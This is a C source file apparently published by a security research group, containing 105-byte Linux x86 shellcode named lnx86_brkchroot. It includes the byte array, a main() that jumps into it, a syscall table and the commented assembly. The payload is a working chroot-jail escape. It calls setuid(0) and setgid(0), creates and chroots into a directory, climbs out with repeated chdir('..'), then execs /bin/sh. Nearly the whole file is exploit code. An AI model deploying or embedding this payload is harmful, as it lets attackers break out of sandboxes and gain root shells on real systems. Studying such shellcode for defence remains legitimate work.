/*  Tripbit Security Research (tripbit.org)
 *
 *        title: lnx86_brkchroot
 *         size: 105 bytes
 *  execute: setuid(), setgid(), mkdir(), chroot(),
 *     chdir(), chroot(), execv(), exit()
 *       system: linux x86
 *       author: posidron
 *      contact: posidron[at]tripbit.org
 */


char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x2e"
      "\xcd\x80\x31\xc0\x53\x68\x77\x30\x30\x74\x89\xe3"
      "\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0"
      "\x31\xdb\x31\xc9\xb1\x0a\x50\x68\x2e\x2e\x2f\x2f"
      "\xe2\xf9\x89\xe3\xb0\x0c\xcd\x80\x31\xc0\x31\xdb"
      "\x6a\x2e\x89\xe3\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
      "\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
      "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
      "\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
  void(*tsr) (void);
        tsr = (void*)shellcode;
        tsr();
  return 0;
}


/*
%eax  Name         Source                       %ebx           %ecx 
1     sys_exit     kernel/exit.c                int            -
11    sys_execve   arch/i386/kernel/process.c   struct pt_regs -
12    sys_chdir    fs/open.c                    const char*    - 
23    sys_setuid   kernel/sys.c                 uid_t          -
46    sys_setgid   kernel/sys.c                 gid_t          -
39    sys_mkdir    fs/namei.c                   const char*    int 
61    sys_chroot   fs/open.c                    const char*    - 
*/


/*
main()
{
  __asm__("
    xor %eax, %eax
    xor %ebx, %ebx
    mov $0x17, %al
    int $0x80
  
    xor %eax, %eax
    mov $0x2e, %al
    int $0x80

    xor %eax, %eax
    push %ebx
    push $0x74303077
    mov %esp, %ebx
    mov $0x27, %al
    int $0x80
    
    xor %eax, %eax
    mov $0x3d, %al
    int $0x80
    
    xor %eax, %eax
    xor %ebx, %ebx
    xor %ecx, %ecx
    mov $0xa, %cl
    push %eax
    evil:
    pushl $0x2f2f2e2e
    loop evil
    mov %esp, %ebx
    mov $0xc, %al
    int $0x80
  
    xor %eax, %eax
    xor %ebx, %ebx
    push $0x2e
    mov %esp, %ebx
    mov $0x3d, %al
    int $0x80
  
    xor %eax, %eax
    xor %ebx, %ebx
    xor %ecx, %ecx
    push %eax
    push $0x68732f2f
    push $0x6e69622f
    mov %esp, %ebx
    push %eax
    push %ebx
    mov %esp, %ecx
    xor %edx, %edx
    mov $0xb,%al
    int $0x80

    xor %eax, %eax
    xor %ebx, %ebx
    mov $0x1,  %al
    int $0x80
  ");
}*/